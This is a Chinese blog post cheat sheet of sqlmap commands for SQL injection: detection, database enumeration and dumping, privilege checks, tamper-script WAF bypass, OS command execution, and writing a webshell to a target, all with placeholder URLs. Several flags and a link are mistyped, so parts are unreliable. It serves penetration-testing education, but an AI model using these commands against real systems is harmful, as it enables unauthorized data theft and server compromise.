SqlMap常用命令

环境:python

工具下载地址:sqlmap.org

SqlMap是我们常用的一款sql注入漏洞检测工具,为了方便大家平时的使用,在此分享一下我总结的一下命令。

目录结构:

extra:额外功能

lib:连接库,注入参数,提权操作

tamper:绕过脚本

thirdparty:第三方插件

txt:字典,例如浏览器代理,表,列,关键字

udf:自定义攻击载荷

waf:常见防火墙特征--identify-waf

常用命令:

1.注入检测方式:

代码语言:javascript
复制
get方式:sqlmap.py -u "URL"
post方式:sqlmap.py -u "URL" -date "post数据"
cookie方式:sqlmap.py -u "URL" -cookie "cookie数据"

2.获取数据库信息

代码语言:javascript
复制
获取数据库类型以及版本:sqlmap.py -u "URL"
获取网站使用的数据库名和用户名:sqlmap.py -u "URL" --current-db
sqlmap.py -u "URL" --current-user

3.获取数据量和用户权限

代码语言:javascript
复制
获取数据库的数据量:sqlmap.py -u "URL" --count -D "数据库名"
判断用户权限:sqlmap.py -u "URL" --privileges

4.Mysql注入

Mysql结构:库-表-列-数据(字段内容)

注入顺序:

代码语言:javascript
复制
首先获取当前库名:sqlmap.py -u "URL" --current-db
其次获取库中表名:sqlmap.py -u "URL" --tables -D "数据库名"
然后获取库中某个表的列名:sqlmap.py -u "URL" --columns -T "表名" -D "库名"
最后获取库中某个表名的某个列名的字段内容:sqlmap.py -u "URL" --dump -C "列名" -T "表名" -D "库名"

5.管理数据库

代码语言:javascript
复制
连接数据库:sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库名"(需安装pymysql:https://girhub/pymysql/pymysql)
执行sql命令:sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库名" --sqlshell

6.延时注入

针对页面无变化,无法用布尔真假判断,无法报错的情况下注入。

代码语言:javascript
复制
sqlmap.py -u "URL" --delay 数字值(秒为单位)
sqlmap.py -u "URL" -safe-freq

7.交互式命令执行和写Webshell

代码语言:javascript
复制
命令执行:sqlmap.py -u "URL" --os-cmd="命令"
Webshell:sqlmap.py -u "URL" --os-shell

8.Tamper脚本

代码语言:javascript
复制
sqlmap.py -u "URL" --tamper="脚本名字"

9.本地写入Webshell

代码语言:javascript
复制
sqlmap.py -u "URL" --file-write "本地文件路径" --file-dest "目标文件路径"

10.批量检测注入漏洞

代码语言:javascript
复制
sqlmap.py -m 本地文件路径
结合BurpSuite:sqlmap.py -l 本地文件路径 --batch -smart

//batch:自动选择yes,smart:启发式快速判断

代码语言:javascript
复制
--proxy="http://ip:8080"  //浏览器代理
--level=(1-5) //测试水平等级
--risk=(0-3) //风险等级

未完,不断更新中!


本文链接:https://cloud.tencent.com/developer/article/2359323

天乐原创文章,转载请注明出处!